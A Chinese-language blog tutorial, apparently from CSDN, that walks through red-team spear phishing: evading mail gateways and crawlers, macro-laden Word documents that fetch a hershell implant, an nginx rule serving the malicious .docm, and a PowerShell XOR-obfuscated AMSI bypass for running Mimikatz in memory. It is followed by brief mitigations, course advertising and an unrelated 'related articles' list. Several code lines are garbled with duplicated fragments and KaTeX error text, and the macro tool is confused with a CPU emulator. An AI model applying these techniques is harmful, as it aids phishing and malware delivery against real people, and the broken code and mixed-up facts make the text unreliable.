网络安全!顶级大佬进行鱼叉式钓鱼攻击?手把手教学

关于红队在渗透测试中使用的网络钓鱼攻击的文章很多,不过大多数的介绍都是不完整的。 在本文中,我们将对这个话题进行一次完整的梳理,包括域创建,制作网络钓鱼内容,绕过垃圾邮件过滤器和电子邮件网关,生成不可检测的有效载荷以及绕过Windows保护(例如AMSI)的注意事项。另外,我们还在这篇文章的末尾整理了一份参考文献,如果你感兴趣可以参考。

  • 我这里还有渗透测试\web安全/攻防/src漏洞讲解/只要是关于网络安全的部分,应该都有!
  • 还有两三千本电子书籍!以及自己整理出的一套学习路线!告别低效率的学习!
  • 还想要更多资料的读者们,当然我也会毫不吝啬地分享给大家!

出于安全原因,渗透测试中的客户名称和相关信息已被匿名化。根据红色团队参与的复杂程度和持续时间,你需要衡量你在以下每个项目上花费了多少时间和精力。

1.邮件来源:

1.1 使用脚本从本地主机(例如你的笔记本电脑)发送邮件;

1.2 标头中的IP是否可信;

\2. 最近启用的VPS,没有发件人历史记录;

\3. 发送域信誉(domain reputation)和域年龄(domain age)(奇热从域创建到活动日期之间的时间)。

\4. 链接信誉和域年龄;

\5. 使用信誉较高的发件人,例如Mailchimp或Sendgrid。通过这些提供商验证你的域,以便你可以向域“发件人:”发送电子邮件。

\6. 匹配目标电子邮件的返回路径;

\7. 配置SPF,DKIM和DMARC;

\8. 时间和频率:

8.1 如果你一次从信誉低下的IP发送100封电子邮件,几乎可以肯定会被标记为垃圾邮件。

8.2 发送域和电子邮件中的链接上的有效SSL证书;

\9. 失效链接;

\10. HTML内容的数量;

\11. 不要进入黑名单;

具体的测试时间,取决于渗透测试的程度:

\1. 如果你要克隆高信誉的域来进行凭据网络钓鱼,要注意防范自动扫描引擎,这一点尤其重要。

1.1 Web Scraper和安全电子邮件网关(SEG)正在积极寻找能复制Office 365和Gmail等网络钓鱼网页的网站。Web Scraper是一款可以从网页中提取数据的chrome网页数据提取插件,是一款非常好用的爬虫工具。

1.2 将良性内容提供给自动化平台;

\2. 你可以使用公共GreyNoise API中的WEB_CRAWLER标记找到网页爬虫列表;

\3. curl -s -XPOST -d ‘tag=WEB_CRAWLER’ http://api.greynoise.io:8888/v1/query/tag;

\4. 你还可以使用技术来识别模拟环境,如ktvheadless Chrome、Selenium等。

\5. 在信誉较高的域或你自己的自定义域上托管恶意附件,SEG可以更好地捕获恶意载荷,例如带有宏的Word文档。如果你的附件被捕获,你可能会被列入黑名单。

\6. 一旦你搞砸了一次,它就很难恢复和触及用户的收件箱。你可能需要停止整个渗透活动,然后重新开始。

\7. 查看有关监视你的域和基础结构的“Specter Ops”文章,以了解是否有受到攻击的迹象。

\8. 301/302重定向到信誉较高的域,你的域实际上未与重定向域关联,因此可以将其归为恶意域。

网络钓鱼活动的渗透测试

我们通常会以三种方式处理钓鱼活动:

1.针对特定个人的攻击活动;

\2. 从侦察阶段收集到的针对所有用户的大规模攻击,有很多很棒的资源可用于侦查和创建可定位的电子邮件地址列表,比如2019年的OSINT资源,The Harvester ,datasploit ,Github上的awesome-osint )

3.通过在目标公司网站上的表格提交信息,通常是通过伪造一个公司来进行;

每个攻击活动使用不同的域,以免影响其他攻击活动的信誉或攻击能力。如果公司意识到他们是攻击目标,那么你未来的尝试可能会受到更严格的审查。在验证我们的域并设置电子邮件身份验证后,我们经常使用Mailchimp邮件系统进行邮件发送。我们还成功使用了G Suite帐户和使用自定义脚本的SMTP身份验证。

由于时间限制(20小时),我们只选择了上面的第2和第3种方式。对于这两个攻击活动,我们都使用了带有宏的word文档。

攻击示例

我们对目标公司的MX进行了查询,发现他们正在使用G Suite,因此我们可以针对模拟的G Suite帐户测试攻击活动,以确保我们能够通过他们的保护。

dig target.com MX

Google在过滤恶意附件方面做得不错,因此在第一项活动中我们将其托管在信誉较高的域中,在第二项活动中我们将其托管在我们自己的域中。

如何生成Word文档宏和有效载荷

在示例攻击中,我们使用了带有宏的恶意Word文档。我们利用unicorn生成了一个powershell宏来下载/执行我们的有效载荷,并做了一个轻微的修改来绕过防御:

注:Unicorn 是一款非常优秀的跨平台模拟执行框架,该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64)等指令集的原生程序。

Unicorn 不仅仅是模拟器,更是一种“硬件级”调试器,使用xiseUnicorn的API可以轻松控制CPU寄存器、内存等资源,调试或调用目标二进制代码,现有的反调试手段对Unicorn 几乎是无效的。

我们使用hershell作为有效载荷,这是一个用Go编写的出色的轻量级阶段 1,当时无法检测到其x86拱门。如果你的有效载荷被标记,你可以选择混淆和加密,如果你知道你的目标环境,也可以使用dsplit手动绕过安全防御签名。

绕过AMSI

我们预计需要运行自定义的Powershell有效载荷,因此我们不得不绕过最近的Windows保护,称为AMSI。根据Microsoft的说法,AMSI代表了杀毒软件的扫描接口,并允许程序(如Powershell)在执行之前向扫描引擎提交内容。感谢Cyberark进行绕过AMSI的初步研究,并撰写了Andre Marques的文章。我们能够调整它们的实现,这些实现当时已被Microsoft标记出来,以使用XOR加密绕过AMSI。

\1. Re-compile the AMSI Bypass DLL

\2. Convert the binary to base64

base64string=[Convert]::ToBase64String([IO.File]::ReadAllBytes("base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes("base64string=[Convert]::ToBase64String([IO.File]::ReadAllBytes("pwd\bypass.dll"))

\3. XOR encrypt

foreach(bytein[Text.Encoding]::UTF8.GetBytes(byte in [Text.Encoding]::UTF8.GetBytes(bytein[Text.Encoding]::UTF8.GetBytes(base64string)) { $encrypted += $byte -bxor 1 }

\4. Print encrypted buf as a byte array

foreach($byte in KaTeX parse error: Expected '}', got 'EOF' at end of input: …st -nonewline "byte," }

On Target

\1. Split encrypted buf due to powershell line limit lengths

\2. Concat the buf

$xorencrypted = $a + $b + $c + $d + $e + $f + $g

\3. Decrypt the buf

foreach($byte in KaTeX parse error: Expected '}', got 'EOF' at end of input: xorencrypted){decrypted += $byte -bxor 1 }

\4. Get buf as base64

base64string=[Text.Encoding]::UTF8.GetString(base64string = [Text.Encoding]::UTF8.GetString(base64string=[Text.Encoding]::UTF8.GetString(decrypted)

\5. Load the DLL using reflection

function Bypass-AMCEE { if(-not ([System.Management.Automation.PSTypeName]“Bypass.AMCEE”).Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String($base64string)) | Out-Null } [Bypass.AMCEE]::Subvert(); }

\6. Call the bypass method

Bypass-AMCEE

这允许我们在内存中再次执行powershell有效载荷,比如Mimikatz。

你可以在此处获取有效的AMSI绕过源码。

攻击示例:伪造公司,有针对性地提交表格文件

在目标网站上找到表单提交页面以进行新业务查询后,我们创建了一个假的公司和域名以匹配其业务范围。在多次尝试使用Dropbox和其他文件托管服务来承载我们的有效载荷失败之后,我们使用了mixmax.com,该网站还可以方便地跟踪打开和点击。

发送给销售代表的电子邮件:

带有宏的恶意Word文档,似乎需要启用宏才能正确加载启用后,宏将下载并执行我们的Hershell植入。

攻击示例2:无针对性地攻击

由于攻击活动是在新年前后进行的,因此我们就以此为伪装接口。我们模拟了一个受欢迎的员工奖励计划:appendhub.com。如果你访问了我们的网站,我们会通过重定向到octanner.com来模仿真实网站的行为。如果你长期使用该域,这实际上会损害你的域信誉,因此你最好克隆一个网站。

电子贺卡上具体标明了每个员工的姓名:

我们在word文档中嵌入了一个视频文件,这似乎需要宏来播放。我们使用nginx规则将恶意载荷托管在我们自己的域中,以直接下载并进行跟踪:

Nginx指令:
location /receivedEcard {

alias /var/www / html/HappyNewYear2019.docm;

add_header content-Disposition 'attachment; filename=“Happy New Year 2019.docm”";

}

初始访问:

对应的缓解措施

禁用宏

对于这种特定的攻击载体来说,这是迄今为止最简单的方法,但是对于一些依赖于它们的组织来说,这是不可能的。

不要接受不受信任/未经审查的来源的附件

如果必须,可以在虚拟环境中打开附件。

用户的安全意识培训

进行常规的模拟网络钓鱼攻击培训,这可能会降低攻击活动的有效性。

总结

从攻击者的角度来看,网络钓鱼已经变得比几年前更具挑战性,但它仍然是非常可行的,在短时间内仍然就有攻击价值。前期攻击时,大部分的时间都花在了有效载荷的创建上,但是一旦攻击者有了可用的工具集,创建新的攻击就变得非常简单和快速,而应对组织则需要相应地调整应对策略。

网络安全入门学习路线

其实入门网络安全要学的东西不算多,也就是网络基础+操作系统+中间件+数据库,四个流程下来就差不多了。

1.网络安全法和了解电脑基础


其中包括操作系统Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和虚拟机使用等…

别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完基本上都能掌握。计算机专业的同学都应该接触了解过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相关视频,你搜关键词网络安全工程师会出现很多相关的视频教程,我粗略的看了一下,排名第一的视频就讲的很详细。

当然你也可以看下面这个视频教程仅展示部分截图:

学到http和https抓包后能读懂它在说什么就行。

2.网络基础和编程语言

3.入手Web安全

web是对外开放的,自然成了黑客的重点关照对象,有事没事就来入侵一波,你说不管能行吗!

想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要了解点,然后再学点python,起码得看懂部分代码吧。

最后网站开发知识多少也要了解点,不过别紧张,只是学习基础知识。

等你用几周的时间学完这些,基本上算是具备了入门合格渗透工程师的资格,记得上述的重点要重点关注哦!

再就是,要正式进入web安全领域,得学会web渗透,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/命令执行等。

这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击手段都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。

学完web渗透还不算完,还得掌握相关系统层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗透。可能到这里大家已经不知所云了,不过不要紧,等你学会了web渗透再来看会发现很简单。

其实学会了这几步,你就正式从新手小白晋升为入门学员了,真的不算难,你上你也行。

4.安全体系


不过我们这个水平也就算个渗透测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。

所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

尾言

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,最后联合CSDN整理了一套【282G】网络安全从入门到精通资料包,需要的小伙伴可以扫描下方免费领取哦!
工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

网络安全 顶级进行鱼叉式钓鱼攻击?手把手教学相关推荐

  1. 网络安全!顶级大佬进行鱼叉式钓鱼攻击?手把手教学

    网络安全!顶级大佬进行鱼叉式钓鱼攻击?手把手教学 关于红队在渗透测试中使用的网络钓鱼攻击的文章很多,不过大多数的介绍都是不完整的. 在本文中,我们将对这个话题进行一次完整的梳理,包括域创建,制作网络钓 ...

  2. 检测组织中的横向鱼叉式钓鱼攻击

    Detecting Lateral Spear Phishing Attacks in Organizations 检测组织中的横向鱼叉式钓鱼攻击 1.背景 (1)会议/刊物级别 ​ IET(The ...

  3. 社会工程实战-鱼叉式钓鱼攻击

    [不一定能成功,因为邮件服务器会检测携带附件] 0x00 鱼叉式钓鱼攻击 攻击者通过发送带有攻击性的邮件给受害者,一旦受害者打开攻击邮件,点开攻击邮件中的附件等,就会给受害者的电脑造成一定的影响. 0 ...

  4. 【ATTCK】鱼叉式钓鱼攻击

    鱼叉式网络钓鱼是以特定个人.组织或企业为目标的电子邮件或电子通信诈骗. 一.鱼叉式钓鱼附件 鱼叉式钓鱼附件是鱼叉式钓鱼的一种特殊变体,它发送带有有恶意软件的附件. 所有形式的鱼叉式网络钓鱼都是以电子邮 ...

  5. 2019网络钓鱼邮件翻倍,如何预防鱼叉式钓鱼邮件攻击?

    根据微软数据,与网络钓鱼相关的电子邮件百分比,从2018年9月的0.31%上升至2019年9月的0.62%.微软对2018年每月4700亿封电子邮件的分析发现,网络钓鱼信息增加了250%. 如今,鱼叉 ...

  6. 利用漏洞CVE-2018-20250模拟一次鱼叉式钓鱼邮件攻击

    利用漏洞CVE-2018-20250模拟一次鱼叉式钓鱼邮件攻击 1 概述 2 实现流程: 2.1 具有恶意宏代码的docm文档编写 2.2 利用CVE-2018-20250形成ACE压缩包 2.3 邮 ...

  7. AI+网络安全 让鱼叉式网络钓鱼攻击无所遁形

    2017年是网络攻击极其活跃的一年,全球先后发生了多起大型网络攻击事件,例如令人震惊的Wanna Cry勒索病毒席卷全球,包括中国在内的150多个国家受到网络攻击.各国企业.学校.医院等机构无一幸免, ...

  8. 企业防钓鱼攻击需结合技术优势+意识

    本文讲的是企业防钓鱼攻击需结合技术优势+意识,攻击者通常使用各种技术来窃取数据,包括恶意软件.篡改硬件等.然而,旨在窃取企业知识产权的更严重的间谍攻击活动并没有那么简单,攻击者会物理地窃取硬件,以用于 ...

  9. 三种常见的网络钓鱼攻击方法!

    网络钓鱼攻击是我们生活中最常见的网络攻击方式之一,同时也是大家最容易中招的网络犯罪方式,尤其是随着网络技术的不断发展,网络钓鱼攻击也变得越来越多样化.本文为大家介绍一下网络钓鱼攻击常用方法及防御措施, ...

最新文章

  1. 语义分割--Learning Object Interactions and Descriptions for Semantic Image Segmentation
  2. 为什么不从算法上优化机器的“眼睛”,而是从“大脑”入手?
  3. cocos2d-x坐标系
  4. 不同品牌发电机组间的并机知识
  5. 字节跳动花50亿买了个什么?
  6. Java递归基础案例-回文字符串的判断
  7. / ./ ../ 的区别
  8. 《OpenCL异构计算》新版中译本派送中!
  9. C++ vector库学习笔记
  10. flex file 文件上传 带参数 php,php+flex打造多文件带进度超级上传
  11. vue-cli配置环境:
  12. 复制VIM编辑的文件和代码到别的地方
  13. # 保利威视频在线分析下载
  14. 文件打不开只读或服务器未响应,Mac的Word经常未响应怎么办
  15. 图片API 通用接口
  16. 团队作业8----第二次项目冲刺(Beta阶段) 第五天
  17. GLFWError #65542 Happen, WGL: The driver does not appear to support OpenGL 问题解决
  18. XSS与字符编码的那些事儿
  19. python四六级英语在线考试系统django337
  20. 企业为什么需要做APP安全评估?

热门文章

  1. 以太网网络变压器的作用
  2. R语言入门——工作空间管理函数
  3. SLAM学习笔记——BOW
  4. 系统业务逻辑书籍_企业应该如何建立自己的分销系统和分销团队
  5. MySQL的基本查询语句
  6. a-select设置默认值
  7. lpfs存储服务器怎样维护,ipfs云节点存储服务器
  8. 一文能读懂车载与Android的关系
  9. Unity3D_Could not produce Class With ID xxx
  10. 想自己动手制作游戏动漫角色模型,教你几招,一定要看看!